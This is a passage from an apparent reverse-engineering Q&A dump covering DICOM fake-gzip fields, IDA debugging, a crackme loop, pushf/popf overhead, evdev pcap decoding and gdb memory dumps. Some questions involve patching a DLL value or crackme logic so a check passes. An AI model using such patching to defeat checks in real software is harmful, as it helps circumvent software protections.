href=\"https://github.com/malaterre/MRPicker\" rel=\"nofollow noreferrer\">https://github.com/malaterre/MRPicker</a></li>\n</ul>\n\n<p>The image can be extracted nicely, so I suspect only a few extra private vendor information (metadata only) is stored within this field (MRI serial number...).</p>\n\n<p>To be more specific, the fake <code>gzip</code> stream comes in pair eg (<code>file1000.gz</code> &amp; <code>file1002.gz</code> were taken from the same DICOM file). From another DICOM file I found that the second fake gzip stream was (bitwise) identical to <code>file1002.gz</code>, so I only uploaded <code>file1000_other1.gz</code> (same goes for <code>file1000_other2.gz</code>, <code>file1000_other3.gz</code> and <code>file1000_other4.gz</code>). So maybe <code>file1002.gz</code> is a bit special here. Since I do not have physical access to the MRI workstation that produces those images, I can only do brute-force approach here.</p>\n\n<hr>\n\n<p>Update: I did check that the files are not simply a deflate codestream with broken header using <a href=\"https://github.com/malaterre/MRPicker/blob/master/unz.py\" rel=\"nofollow noreferrer\">unz.py</a> and <a href=\"https://github.com/malaterre/MRPicker/blob/master/runme.sh\" rel=\"nofollow noreferrer\">runme</a> (<code>binwalk -X</code> did not reveal anything either). So they are not direct simple <code>gzip</code> files.</p>\n\n<p>Update2: I did try to read the stream backwards using this <a href=\"https://github.com/malaterre/MRPicker/blob/master/reverse.cxx\" rel=\"nofollow noreferrer\">code</a> but again this still does not look like a deflate stream.</p>\n\n<p>Update3: So far, all streams I found have proper gzip header, and they all finish with 4 zeros (0) bytes, just like any valid gzip. I should be able to recover the file using the <a href=\"https://stackoverflow.com/a/11557033/136285\">last 4 bytes</a> since they are used to store a crc32 (as per gzip RFC).</p>\n\n<p>Update4: Thanks to help here, I discover those private tags are actually slightly <a href=\"http://incenter.medical.philips.com/doclib/enc/fetch/2000/4504/577242/577256/588723/5144873/5144488/5144984/DICOM_Conformance_Statement_ViStar%2C_Twinstar_and_Montage_Workstations.pdf%3Fnodeid%3D5148306%26vernum%3D1\" rel=\"nofollow noreferrer\">documented</a>:</p>\n\n<pre><code>Table A.2.1.2.1.3-3 Private Elements for MR Scanner or MR Workstation Images\nWhen exporting Marconi MR Scanner or MR Workstation images the following\nprivate elements may be included.\n\nTag Name Value Representation\n7101,0010 Private MR Creator Data element LO\n7101,1000 MR Processing Field 1 OB\n7101,1001 MR Processing Field 1 Length SL\n7101,1002 MR Processing Field 2 OB\n7101,1003 MR Processing Field 2 Length SL\n7101,1004 Scan Duration SH\n7101,1005 MR Processing Field 3 SH\n7101,1006 MR Processing Field 4 SH\n</code></pre>\n\n<p>I did check that the length of the extracted fake-gzip actually match the value stored in the associated attribute (so length for attribute 7101,1000 match value stored in attribute 7101,1001, and length for attribute 7101,1002 matches value stored in attribute 7101,1003). For instance:</p>\n\n<pre><code>$ gdcmdump input3.dcm\n[...]\n(07a1,0010) ?? (LO) [ELSCINT1]                                    # 8,1 Private Creator\n(07a1,1013) ?? (UL) 62940                                         # 4,1 ?\n(7101,0000) ?? (UL) 24242                                         # 4,1 Generic Group Length\n(7101,0010) ?? (LO) [Picker MR Private Group ]                    # 24,1 Private Creator\n(7101,1000) ?? (OB) 1f\\8b\\08\\00\\00\\00\\00\\00\\02\\00\\14\\5d\\4b\\8d\\db\\48\\6e\\3e\\ec\\53\\4f\\7b\\28\\c3\\1e\\ef\\8c\\d8\\2d\\86\\e8\\86\\57\\01\\c9\\d9\\96\\4a\\bd\\76\\45\\35\\92\\99\\dc\\33\\e5\\1b\\08\\78\\04\\25\\94\\93\\04\\f3\\80\\7a\\03\\fa\\cd\\34\\02\\40         # 10784,1 ?\n(7101,1001) ?? (SL) 10784                                         # 4,1 ?\n(7101,1002) ?? (OB) 1f\\8b\\08\\00\\00\\00\\00\\00\\02\\00\\14\\3c\\6d\\8d\\da\\48\\6d\\9f\\93\\a1\\31\\e5\\9c\\2f\\f6\\6b\\c1\\48\\44\\d8\\9e\\26\\67\\ab\\78\\8d\\1d\\8a\\6d\\a0\\80\\6c\\36\\31\\dd\\95\\b6\\96\\84\\2f\\13\\90\\a8\\49\\d8\\0f\\fe\\fa\\15\\97\\19\\97\\24\\c0         # 13328,1 ?\n(7101,1003) ?? (SL) 13328                                         # 4,1 ?\n(7101,1004) ?? (SH) [00:48 ]                                      # 6,1 ?\n(7101,1005) ?? (SH) [ECHO\\CARDIAC]                                # 12,2 ?\n(7101,1006) ?? (SH) [115204\\4187\\0\\0 ]                            # 16,4 ?\n</code></pre>\n\n<p>Update5: DICOM can only stores even-bytes length as attribute. One fake-gzipped stream was actually padded to the next even length, but the actual length reported in 7101,1001 was odd (10765). I've updated <code>file1000_other4.gz</code> to have the proper length (the trailing bytes are not anymore <code>03 00 00 00</code>, but <code>0B 03 00 00</code>)</p>\n",
        "Title": "What kind of compression/obfuscation algorithm is this?",
        "Tags": "|deobfuscation|decompress|binary-format|xor|",
        "Answer": "<p>The gzip headers are valid, but the deflate compressed data format is violated almost immediately, within less than ten bytes in for all of the files.</p>\n\n<p>For all of the example files provided, the first deflate block is a dynamic block which has an oversubscribed code lengths code.  That means that a Huffman code required to decode the code lengths for that block is itself invalid.  This immediately halts the decompression, since no further progress can be made.</p>\n\n<p>The last four bytes may not be what you think they are.  The last four bytes of a valid gzip file is the length of the uncompressed data, modulo 2<sup>32</sup>, in little-endian order.  Those lengths do not seem correlated to the file sizes.  For example <code>file1010.gz</code>'s last four bytes are <code>0b 03 00 00</code>.  It's length is 10766.  So 10766 bytes decompresses to 779 bytes?  I don't think so.  So the second-to-last four bytes are likely also not what you would expect there for a gzip stream, i.e. likely not a CRC.</p>\n\n<p>The data after the header appears to be random in all cases (pretty flat histogram over 0..255), and is itself mostly incompressible, which is consistent with it being compressed data.</p>\n\n<p>I tried decompressing from all bit offsets starting after the gzip header to the end, but no joy.  This rules out some sort of header followed by valid deflate data.</p>\n"
    },
    {
        "Id": "9301",
        "CreationDate": "2015-07-08T09:20:19.100",
        "Body": "<p>I have some questions about reverse engineering:</p>\n\n<ul>\n<li>What do I need for studying RE?</li>\n<li>Should I know all of programing languages to study RE? (I only intend to reverse Android and Window PC applications for studying)</li>\n<li>Do I need any specific application to do it?</li>\n</ul>\n\n<p>Oh, I did some searching on internet. However, it is too complex, and I cannot understand, especially Wikipedia. So, I would be really grateful if you guys could make it simple enough to understand.</p>\n",
        "Title": "What kind of knowledge do I need for Reverse Engineering?",
        "Tags": "|windows|android|",
        "Answer": "<p>These suggestions may help. One sure way of becoming a better reverse engineer is to become a better \"forward engineer\"! Here's what I would suggest:</p>\n\n<ul>\n<li>Time to study and learn (again..:).</li>\n<li>Examine the assembly output of various compilers. Write test programs of increasing complexity and examine the assembly language output so that you get a sense of what the compiler does for any given high level construct.</li>\n<li>Try running binaries through a decompiler. This will allow you to see how those same programs are interpreted by a tool and allow you to begin to see the kinds of errors that the tools make.</li>\n<li>Try completely reverse engineering a small project. It's not hard to find source code for all kinds of things these days. Pick an open source project that you are not familiar with, compile it without peeking at the code and try to reverse engineer it entirely. Alternatively, try reverse engineering some particular routine or aspect (which is more usual).</li>\n<li>Try to write code to fool the decompiler. Open source projects typically don't take any anti-disassembly measures but other kinds of software (e.g. malware) often does. Learn these techniques in the forward direction and then look at the results with your reverse engineering tools. You'll get a feel for which techniques are successful and why.</li>\n</ul>\n\n<p>There's more, I quickly remember more of that.</p>\n\n<p>Hope that helps.</p>\n\n<p>@firebitsbr</p>\n"
    },
    {
        "Id": "9319",
        "CreationDate": "2015-07-10T11:44:36.197",
        "Body": "<p>How do i use IDA debugger to find some specific values in process memory, like values of float or integer, or string type?</p>\n\n<p>Then how can i trace how program accesses them?</p>\n",
        "Title": "How do i use IDA for heap search for specific types and values?",
        "Tags": "|ida|",
        "Answer": "<p>Question 1:\nYou may use the Ida feature Menu Search, Sequence of Bytes...</p>\n\n<p>In case you  are e.g. looking for a float value, convert that float into a sequence of four bytes and let Ida search for it. The conversion can be done in Ida as well (IIRC), or in any other hex editor allowing to display different data types. Of course, if your variable is a double instead of a float you need the proper byte sequence for a double which is different. \nWhen searching for a string, you may use the same method. Of course here also you must know e.g. whether you are looking for an ascii string or another kind of string like unicode.\nWith that method, the endian-ness must be observed, because the byte sequence may be different with Big-Endian or Little-Endian.</p>\n\n<p>Question 2:</p>\n\n<p>In case you found your memory address, put a breakpoint on it. In a memory region, a window opens where you may edit your breakpoint, e.g. select break or trace, as well as the condition when to break and other items. A breakpoint in a code region may be edited by first putting the breakpoint on the location with F2, and then selecting \"Edit Breakpoint\" with a right mouse click.</p>\n"
    },
    {
        "Id": "9322",
        "CreationDate": "2015-07-10T15:49:53.457",
        "Body": "<p>I'm trying to use YARA to sort out a variety of files into families. Some malware drops other malware from images within their resource images. What I'd like to do is write a signature that ignores string hits that exist within the resource section. This would allow my signatures to correctly identify droppers from the malware that is dropped. I tried doing something like this:</p>\n\n<pre><code>        (pe.sections[0].characteristics &amp; pe.SECTION_CNT_CODE) and $handshake \n</code></pre>\n\n<p>to limit my condition to the .text section, but this is definitely not write. That is going to trigger only if the .text section is the first section and the $handshake string exists anywhere within the binary. what I'd like is a way to limit the $handshake to the .text section (or in any section that is not the resource section).</p>\n\n<p>Is this even possible with YARA or is that getting a bit too complicated for YARA?</p>\n",
        "Title": "How do I make a YARA signature that does NOT look in the resource section?",
        "Tags": "|malware|yara|",
        "Answer": "<p>WXS on the Yara Google Groups was kind enough to post an answer to this question. He has several examples here: <a href=\"https://gist.github.com/wxsBSD/4d5d7677578f80cdf82a\" rel=\"nofollow\">https://gist.github.com/wxsBSD/4d5d7677578f80cdf82a</a></p>\n"
    },
    {
        "Id": "9328",
        "CreationDate": "2015-07-11T18:09:30.190",
        "Body": "<p>I'm fairly new to the RE world, started right around a week and have gotten my hands dirty with some really good stuff on this website. Pardon my naive knowledge.</p>\n\n<p>Currently, I'm trying to <strong>reverse a DLL file of a certain EXE</strong>. \nThe EXE makes calls to functions of this DLL for looking up certain values which I plan to patch eventually.</p>\n\n<p>How do I go about debugging the DLL while the application is running? </p>\n\n<p><strong>I would like to be able to place a break point in my DLL and get a hit in IDA Pro while the call is made from the application.</strong></p>\n\n<p>Right now, I patch the DLL by simply hoping for it to work, but I'm pretty sure that there exists a much productive method.</p>\n\n<p>I'm using <strong>IDA Pro</strong> as my flavor of tool.\nYou could suggest me if some other disassembler can help me achieve the same.</p>\n\n<p>Could someone be kind enough to guide me around this task?</p>\n",
        "Title": "How to debug the DLL of an EXE using IDA Pro?",
        "Tags": "|ida|debugging|dll|dll-injection|",
        "Answer": "<p>Very easy, if I got you right:</p>\n\n<ol>\n<li>Make an Ida project from the DLL, i.e. drag and drop the dll into the blank Ida page.</li>\n<li>In Menu Debugger, Process Options, put the path to your exe into the textbox \"Application\", Into \"input file\" put the path to your DLL. Confirm with OK.</li>\n<li>Start with menu Debugger, Start Process or F9.</li>\n</ol>\n\n<p>Your breakpoint should be hit.</p>\n"
    },
    {
        "Id": "9339",
        "CreationDate": "2015-07-13T07:50:25.337",
        "Body": "<p>I have the following code:</p>\n\n<pre><code>00401163   &gt; 8D15 49634000  LEA EDX,DWORD PTR DS:[406349]            ; see below, 0x406349 is pointing to entered username\n00401169   . 52             PUSH EDX                                 ; /String =&gt; \"myusername\"\n0040116A   . E8 8D020000    CALL &lt;JMP.&amp;kernel32.lstrlenA&gt;            ; \\lstrlenA\n0040116F   . 8BE8           MOV EBP,EAX\n00401171   . B9 05000000    MOV ECX,5\n00401176   . 33F6           XOR ESI,ESI                              ; ESI = 0\n00401178   . 33C0           XOR EAX,EAX\n0040117A   &gt; 8A0C16         MOV CL,BYTE PTR DS:[ESI+EDX]             ; Why is it pointing to 'y' (2nd letter of username) at 1st run in the loop?\n0040117D   . 8AD9           MOV BL,CL\n0040117F   . 3298 28634000  XOR BL,BYTE PTR DS:[EAX+406328]\n00401185   . 40             INC EAX\n00401186   . 83F8 05        CMP EAX,5\n00401189   . 881C32         MOV BYTE PTR DS:[EDX+ESI],BL\n0040118C   . 8888 27634000  MOV BYTE PTR DS:[EAX+406327],CL\n00401192   . 75 02          JNZ SHORT crackme.00401196\n00401194   . 33C0           XOR EAX,EAX\n00401196   &gt; 46             INC ESI\n00401197   . 3BF5           CMP ESI,EBP\n00401199   .^72 DF          JB SHORT crackme.0040117A\n</code></pre>\n\n<p>As you can see, <code>0x406349</code> contains the username:</p>\n\n<pre><code>00406349  6D 79 75 73 65 72 6E 61 6D 65 00 00 00 00 00 00  myusername......\n</code></pre>\n\n<p>There is a loop that will go thru the letters of the entered username. I don't understand why the first run in the loop (at <code>0x40117A</code>) contains the 2nd letter of the username instead of the 1st one because the index (<code>ESI</code>) is <code>0</code>.</p>\n\n<p>Can you please help me understand?</p>\n",
        "Title": "Loop through letters of a string with index",
        "Tags": "|assembly|x86|",
        "Answer": "<p>as hanno binder replied edx is not preserved by the function call lstrlena</p>\n\n<p>you can easily deduce such things by instrumenting the code prior to and post the operation where your assumptions dont pan out to actual behaviour</p>\n\n<p>a sample test code could look like this (in x64 you may need a seperate file for inline asm but since you say <strong>edx</strong> and not <strong>rdx</strong> inline asm inside a cpp file is fine)</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;windows.h&gt;\n// the vars are global so they are initialised to zero\nint preeax,preebx,preecx,preedx,posteax,postebx,postecx,postedx;\nvoid main (void) {\n  printf(\"does lstrlena change edx ? lets check\\n\");\n__asm {\n  mov preeax,eax\n  mov preebx,ebx\n  mov preecx,ecx\n  mov preedx,edx  \n}\nlstrlenA(\"does this change edx\\n\");\n__asm {\n  mov posteax,eax\n  mov postebx,ebx\n  mov postecx,ecx\n  mov postedx,edx  \n}\nprintf(\n\"preeax = %08x\\tposteax = %08x\\npreebx = %08x\\tpostebx = %08x\\n\"\n\"preecx = %08x\\tpostecx = %08x\\npreedx = %08x\\tpostedx = %08x\\n\",\npreeax,posteax,preebx,postebx,preecx,postecx,preedx,postedx);\n}\n</code></pre>\n\n<p>on compiling and running it </p>\n\n<pre>\nedxlstrlen.exe\ndoes lstrlena change edx ? lets check\npreeax = 00000026       posteax = 00000015\npreebx = 7ffd8000       postebx = 7ffd8000\npreecx = 00401120       postecx = 7c80be86\n<h3>preedx = 004166a0       postedx = 004121b9</h3>\n</pre>\n\n<p>and as guntram commented to confirm you could disassemble lstrlena and grep for edx </p>\n\n<pre><code>cdb -c \"uf kernel32!lstrlena;q\" cdb | grep edx\neax=00191eb4 ebx=7ffdb000 ecx=00000007 edx=00000080 esi=00191f48 edi=00191eb4\n7c80be71 8d5001          lea     edx,[eax+1] &lt;-------------\n7c80be7b 2bc2            sub     eax,edx\n</code></pre>\n\n<p>guess what eax points to :)\nor here is the spoiler you still need to understand x86 stack</p>\n\n<blockquote class=\"spoiler\">\n  <p> cdb -c \"uf kernel32!lstrlena;q\" cdb | grep eax<br>\n eax=00191eb4 ebx=7ffd7000 ecx=00000007 edx=00000080 esi=00191f48 edi=00191eb4<br>\n 7c80be62 8b4508          mov     eax,dword ptr <b>[ebp+8]</b><br>\n 7c80be65 85c0            test    eax,eax</p>\n</blockquote>\n"
    },
    {
        "Id": "9348",
        "CreationDate": "2015-07-14T18:22:16.527",
        "Body": "<p>the experiment is on <code>32-bit</code> <code>x86</code> Linux.</p>\n\n<p>I am doing some static binary instrumentation work, and basically I am trying to insert some instructions below to the beginning of every basic block. </p>\n\n<pre><code>BB23 : push %eax\n\nmovl index,%eax\nmovl $0x80823d0,buf(,%eax,0x4)\nadd $0x1,%eax\ncmp $0x400000,%eax\njle BB_23_stub\nmovl $0x0,%eax\nBB_23_stub:movl %eax,index\n\npop %eax\n</code></pre>\n\n<p>Note that I need to use <code>cmp</code> instruction, and in order to guarantee that <code>flags</code> can restore to the original value, I use <code>pushf</code> and <code>popf</code> to store\\load <code>flags</code> on the stack. </p>\n\n<p>Then it becomes this:</p>\n\n<pre><code> BB_23 :    push %eax\n       pushf               \n       movl index,%eax\n       movl $0x17,buf(,%eax,0x4)\n       add $0x1,%eax\n       cmp $0x400000,%eax\n       jle BB_23_stub\n       movl $0x0,%eax\nBB_23_stub:movl %eax,index\n       popf             \n       pop %eax\n</code></pre>\n\n<p>I tested the performance with and without <code>pushf</code> and <code>popf</code> (I am using <code>gzip</code> and <code>bzip</code>). And to my surprise, performance penalty could increase  even 3 times after using the <code>pushf</code> and <code>popf</code> instructions!!</p>\n\n<p>However, without <code>pushf</code> and <code>popf</code>. The compression results of <code>gzip</code> and <code>bzip</code> are incorrect.</p>\n\n<p>So here is my question:</p>\n\n<p>Why pushf and popf so slow? Am I using it in a correct way?</p>\n\n<p>I cannot afford too much performance penalty introduced by pushf and popf. Is there any way I can avoid the high overhead and also keep the correct semantics? (protecting the value in flags, basically..)</p>\n\n<p>Am I clear enough? Could anyone give me some help?</p>\n",
        "Title": "Why are PUSHF and POPF so slow?",
        "Tags": "|binary-analysis|x86|instrumentation|binary|",
        "Answer": "<p>Posting a 2nd answer for a different method, combining <code>cmov</code> to avoid a skip-1-instruction branch with @Ian Cook's nice lahf/sahf.</p>\n\n<pre><code>       push   %ecx\n       movl   index, %ecx\n\n       push   %eax\n       seto   %al            # save OF to AL\n       lahf                  # save other flags to AH\n\n       movl   $0x17,  buf(,%ecx,0x4)\n       dec    %ecx\n       cmovc  buflen, %ecx       # load buflen constant from memory on wraparound\n\n       addb $127, %al            # restore OF\n       sahf                      # restore other flags\n       pop %eax\n\n       movl   %ecx,index\n       pop %ecx\n</code></pre>\n\n<p>This is 14 insns, all single-uop single cycle latency (on Intel).  So it's probably still slower than the LOOP version, except for not affecting the branch predictor if this code is duplicated all over the place.</p>\n\n<p>With <a href=\"https://en.wikipedia.org/wiki/Intel_ADX\" rel=\"nofollow\">Intel ADX</a> (add-with-carry using CF or OF, to allow two dep chains in parallel), you can avoid clobbering the overflow flag.  But it doesn't take an immediate arg, so you need a constant (-4) in memory.  You need to detect wrapping around zero, and avoid <code>cmp</code>.  This instruction set extension was first supported in Broadwell (barely available for desktops, and not even all currently-for-sale laptops have it.)</p>\n\n<p>Anyway, <code>clc / adcx  minus_one, %ecx</code>  instead of <code>dec %ecx</code> would save net instructions (one clc to save a <code>seto</code> and <code>addb $127</code> to save/restore the overflow flag), which isn't much.  13 uops is still more than my other answer, using an MMX reg for sub/mask to avoid touching flags.</p>\n\n<p>Another possibility is using <code>lea</code>, and zeroing the high bits with a non-flag-affecting left and right shift (<a href=\"https://en.wikipedia.org/wiki/Bit_Manipulation_Instruction_Sets#BMI2\" rel=\"nofollow\">BMI2</a> (Haswell) instruction set's <code>SHLX / SHRX</code>).  This avoids touching flags entirely:</p>\n\n<pre><code>       push   %ecx\n       movl   index, %ecx\n\n       movl   $0x17,  buf(,%ecx,0x4)\n       lea    -1(%ecx), %ecx\n       push   %eax\n       movl   $bit_count, %eax   # 32 - significant bits in buflen\n       shlx   %eax, %ecx, %ecx   # shift count has to be in a reg\n       shrx   %eax, %ecx, %ecx\n       pop    %eax\n\n       movl   %ecx,index\n       pop %ecx\n</code></pre>\n\n<p>Well crap, no-flag shifts are only available as (Intel syntax) <code>shrx  r32a,  r/m32,  r32b</code>, loading the the value to be shifted, not the shift count.  And an immediate shift count isn't available either, so I still needed to push/pop eax to get a 2nd register.</p>\n\n<p>So this is 11 uops on Intel, all single-cycle latency.  It still doesn't beat the mmx version.</p>\n"
    },
    {
        "Id": "9361",
        "CreationDate": "2015-07-16T13:06:35.270",
        "Body": "<p>So the problem is that i have a corrupt pcap file. You can find a the pcap file [here][1]. \nFirst i did the file command on it : <code>the.pcap: tcpdump capture file (little-endian) - version 2.4, capture length 24)</code></p>\n\n<p>So i thought Wireshark could open it easily and then i might be able to find any key/flag by analyzing the packets.\nBut opening it with wireshark just gave me an error \"network type 216 unknown or unsupported\". So first, i did some research on the different layers types for a pcap.Here is the <a href=\"http://www.tcpdump.org/linktypes.html\" rel=\"nofollow\">link</a> to the different value of layer header. As expected the type with the value 216 has no reference so i need to change the 216 value to the right one? But how ? how can i know which one is appropriate ? </p>\n\n<p>After googling a little bit i've seen that we can change the type's value manually.</p>\n\n<pre><code>00000000  D4 C3 B2 A1  02 00 04 00   00 00 00 00  00 00 00 00   ................\n00000010  18 00 00 00  D8 00 00 00   8E 6E 6E 52  A9 CB 00 00 \n</code></pre>\n\n<p>Below you can see the first bytes of the pcap file and the byte D8 is the type's value which here is equal to 216. Should i try to edit a program which modify the original pcap file with all the existing type value and see which one works ? or is there any way to directly to know which value is the right one ? </p>\n\n<p>If someone has some hint, it would be great. Thanks again and bye.</p>\n",
        "Title": "Find the right layer header for a corrupt pcap",
        "Tags": "|digital-forensics|networking|wireshark|",
        "Answer": "<blockquote>\n  <p>But opening it with wireshark just gave me an error \"network type 216 unknown or unsupported\"</p>\n</blockquote>\n\n<p>That's because nobody's contributed support for DLT_LINUX_EVDEV to Wireshark.</p>\n\n<p>There does not appear to be anything at all corrupt about that file; if it were corrupt, Wireshark would have indicated that.  \"network type XXX unknown or unsupported\" doesn't mean the file is corrupt, it just means that Wireshark doesn't happen to handle that particular link-layer header type value.</p>\n\n<p>Let's look at the header:</p>\n\n<p>D4 C3 B2 A1: That's a little-endian pcap magic number.  So far, so good.</p>\n\n<p>02 00: That's a little-endian major version number of 2.</p>\n\n<p>04 00: That's a little-endian minor version number of 4.  2.4 is the current pcap file format version number; so far, so good.</p>\n\n<p>00 00 00 00: That's the time zone offset, which is usually 0.</p>\n\n<p>00 00 00 00: That's the time stamp accuracy, which is usually 0.</p>\n\n<p>18 00 00 00: That's a little-endian snapshot length of 0x18 or 24.</p>\n\n<p>D8 00 00 00: That's a little-endian link-layer header type of 0xD8, or 216, or DLT_LINUX_EVDEV.</p>\n\n<p>What follows are records for packets:</p>\n\n<p>8E 6E 6E 52: That's a little-endian seconds-since-January 1, 1970 00:00:00 UTC value of 0x526E6E8E, or 1382968974, or Mon Oct 28 07:02:54 2013 Pacific Standard Time - i.e., a bit more than a year and a half ago.</p>\n\n<p>A9 CB 00 00: That's a little-endian microseconds-since-that-second value of 0xCBA9, or 52137.</p>\n\n<p>18 00 00 00: That's a little-endian count of bytes captured, with a value of 0x18, or 24.</p>\n\n<p>18 00 00 00: That's a little-endian count of bytes that were actually in the message (the capture process can truncate data past a certain point; that's what the snapshot length in the file indicates), with a value of 0x18, or 24.</p>\n\n<p>And the 24 bytes of packet data are:\n8E 6E 6E 52\n00 00 00 00\nA9 CB 00 00\n00 00 00 00\n04 00 04 00\n1C 00 00 00</p>\n\n<p>\"EVDEV\" refers to the <a href=\"https://en.wikipedia.org/wiki/Evdev\" rel=\"nofollow\">evdev</a> driver in Linux, which allows various providers of user input (keyboards, mice, tablets, trackpads, joysticks, etc.) to plug into it, and it merges the streams of input events into a single stream that can be read by programs such as the X server or the Weston server for Wayland.</p>\n\n<p>Its events are described in the Linux \"input.h\" header as</p>\n\n<pre><code>struct input_event {\n    struct timeval time;\n    __u16 type;\n    __u16 code;\n    __s32 value;\n};\n</code></pre>\n\n<p>so that's a 64-bit(?) seconds-since-January 1, 1970, 00:00:00 UTC, a 64-bit microseconds since that second, a 16-bit type, a 16-bit code, and a 32-bit value.</p>\n\n<p>All, unfortunately, in host byte order, according to the discussion on the tcpdump-workers mailing list.  This host is, apparently, little-endian.</p>\n\n<p>And the time stamp duplicates the one in the pcap record header.</p>\n\n<p>So we have:</p>\n\n<p>8E 6E 6E 52 00 00 00 00 - 0x526E6E8E, or the same time stamp as in the packet record header;</p>\n\n<p>A9 CB 00 00 00 00 00 00 - 0xCBA9, or the same microseconds-since-that-second as in the packet record header;</p>\n\n<p>04 00 - 0x0004, or a type of 4, or \"EV_MSC\" according to the Linux header, and which is \"Used to describe miscellaneous input data that do not fit into other types\" according to <a href=\"https://www.kernel.org/doc/Documentation/input/event-codes.txt\" rel=\"nofollow\">the Linux event codes documentation</a>;</p>\n\n<p>04 00 - 0x0004, or a code of 4, or \"MSC_SCAN\" for EV_MSC messages according to the Linux header;</p>\n\n<p>1C 00 00 00 - 0x1C, or a value of 30.</p>\n\n<p>And then we have the next packet:</p>\n\n<p>8E 6E 6E 52 - same second</p>\n\n<p>A9 CB 00 00 - same microsecond</p>\n\n<p>18 00 00 00 - same length, not surprising as all evdev messages are 24 bytes long</p>\n\n<p>18 00 00 00 - again, same length</p>\n\n<p>8E 6E 6E 52 00 00 00 00 - same (duplicate) second</p>\n\n<p>A9 CB 00 00 00 00 00 00 - same (duplicate) microsecond</p>\n\n<p>01 00 - 0x0001, or type \"EV_KEY\", \"Used to describe state changes of keyboards, buttons, or other key-like devices\"</p>\n\n<p>1C 00 - 0x001C, or 28, which is \"KEY_ENTER\", the meaning of which should be obvious (although the one on the laptop on which I'm typing this says \"return\" in larger letters below and only says \"enter\" in smaller letters above :-))</p>\n\n<p>00 00 00 00 - value of 0</p>\n\n<p>and so on.</p>\n\n<p>So I'm absolutely 100% certain that it <em>is</em> a pcap file, and isn't even a corrupted one; it just happens to contain messages that Wireshark doesn't understand.</p>\n\n<p>The link type, in the sense of \"link-layer header type\", appears only once, in the file's header, so there's no reason to expect anything else to be a link type in the file - pcap <em>simply doesn't support</em> different link types in one single capture file, unless a hack like DLT_PPI is used.  So that part of the argument against it being a pcap file is invalid.</p>\n\n<p>As for addresses, there's no guarantee that a given DLT_ type <em>has</em> any addresses, and evdev events don't, so that doesn't apply, either.</p>\n\n<p>In any case, if you want to open it in Wireshark, you'll need to find or write a dissector for it.</p>\n"
    },
    {
        "Id": "9365",
        "CreationDate": "2015-07-16T15:24:19.570",
        "Body": "<p>the experiment is on Linux, <code>x86</code> <code>32-bit</code>. </p>\n\n<p>So suppose in my assembly program, I need to periodically (for instance every time after executing 100000 basic blocks) dump an array in <code>.bss</code> section from memory to the disk.  The starting address and size of the array is fixed. The array records the executed basic block's address, the size is <code>16M</code> right now.</p>\n\n<p>I tried to write some native code, to <code>memcpy</code> from <code>.bss</code> section to the <code>stack</code>,  and then write it back to disk. But it seems to me that it is very tedious and I am worried about the performance and memory consumption, say, every-time allocate a very large memory on the stack...</p>\n\n<p>So here is my question, how can I dump the memory from global data sections in an efficient way? Am I clear enough? </p>\n",
        "Title": "Dump global datas to disk in assembly code",
        "Tags": "|assembly|binary-analysis|linux|c|memory-dump|",
        "Answer": "<p>with gdb you can define a canned sequence and execute it<br>\na sample canned sequence could be   </p>\n\n<h3>stepi {count} append memory {filepath} {start} {end} </h3>\n\n<p>a sample run on cygwin gdb over gdb </p>\n\n<pre><code>$ gdb gdb\nGNU gdb (GDB) Cygwin 7.9.1-1\n\n(gdb) define dumpy\nType commands for definition of \"dumpy\".\nEnd with a line saying just \"end\".\n&gt;si 10000\n&gt;append value ../../cygdrive/c/tmp/dumpy.txt $pc\n&gt;append memory ../../cygdrive/c/tmp/dumpy.txt $pc $pc+4\n&gt;end\n(gdb) break *0x401000\nBreakpoint 1 at 0x401000\n(gdb) r\nStarting program: /usr/bin/gdb\n[New Thread 3300.0xe20]\n\nBreakpoint 1, 0x00401000 in ?? ()\n(gdb) dumpy\n[New Thread 3300.0xbc0]\n0x610bf987 in auto_protect_for(void*) () from /usr/bin/cygwin1.dll\n\n(gdb) x/x $pc\n0x610bf987 &lt;_ZL16auto_protect_forPv+135&gt;:       0x05f6e572      \n\n(gdb) dumpy\n0x610f007b in sys_cp_wcstombs(int (*)(_reent*, char*, wchar_t, char const*, _mbstate_t*), char const*, char*, unsigned int, wchar_t const*, unsigned int) ()\n   from /usr/bin/cygwin1.dll\n\n\n(gdb) dumpy\n0x610f0028 in sys_cp_wcstombs(int (*)(_reent*, char*, wchar_t, char const*, _mbstate_t*), char const*, char*, unsigned int, wchar_t const*, unsigned int) ()\n   from /usr/bin/cygwin1.dll\n(gdb)\n</code></pre>\n\n<p>xxd doesnt convert endianness so i cooked a powershell script to dump the dumpy.txt</p>\n\n<pre><code>$file = gc -encoding byte $args[0]\n$j=0\nwhile($j-lt $file.length) {\n$i=$j;$a=\"\";($i+3)..($i+0)|%{$a+=(\"{0:x2}\" -f $file[$_])};$a+=\" \";\n$i=$i+4;($i+3)..($i+0)|%{$a+=(\"{0:x2}\" -f $file[$_])};\n$a\n$j+=8\n}\n</code></pre>\n\n<p>dumping the dumpy.txt as address , content pairs with the powershell script above you can see it matches gdb output</p>\n\n<pre><code>PS C:\\tmp&gt; powxxd.ps1 .\\dumpy.txt\n610bf987 05f6e572\n610f007b f6851f74\n610f0028 2c24448b\n</code></pre>\n"
    },
    {
        "Id": "9366",
        "CreationDate": "2015-07-16T15:29:01.167",
        "Body": "<p>At <strong>line #3</strong> of a function, I have a QWORD at address 7FE875F3FE0 which resolves to a value of <strong>85857490416</strong> for which the function returns true. If not, the value is set to 0.</p>\n\n<p>I would like to know how can I modify this QWORD to the said sequence of digits so that the function returns true. I have tried assembling this LoC, but it kills the function due to the non-match of the byte padding.</p>\n\n<p><strong>Code Cave</strong> is an option? If so, can somebody help me? Else a MOV statement?</p>\n\n<p>Just started recently with RE and IDA Pro.</p>\n\n<p><strong>Code Segment</strong></p>\n\n<pre><code>push    rbx\nsub     rsp, 20h\nmov     rax, cs:qword_7FE875F3FE0\nmov     rbx, rcx\ntest    rax, rax\njnz     short loc_7FE8728D09D\n\nloc_7FE8728D09D:\nmov     [rcx], rax\nxor     eax, eax\nadd     rsp, 20h\npop     rbx\nretn\n</code></pre>\n\n<p><strong>.data</strong> representation of the QWORD</p>\n\n<pre><code>.data:000007FE875F3FE0 qword_7FE875F3FE0 dq ? \n.data:000007FE875F3FE0                                         \n.data:000007FE875F3FE8 db    ? ;\n.data:000007FE875F3FE9 db    ? ;\n.data:000007FE875F3FEA db    ? ;\n.data:000007FE875F3FEB db    ? ;\n</code></pre>\n",
        "Title": "Set QWORD with a constant value in IDA Pro",
        "Tags": "|ida|debugging|dll|",
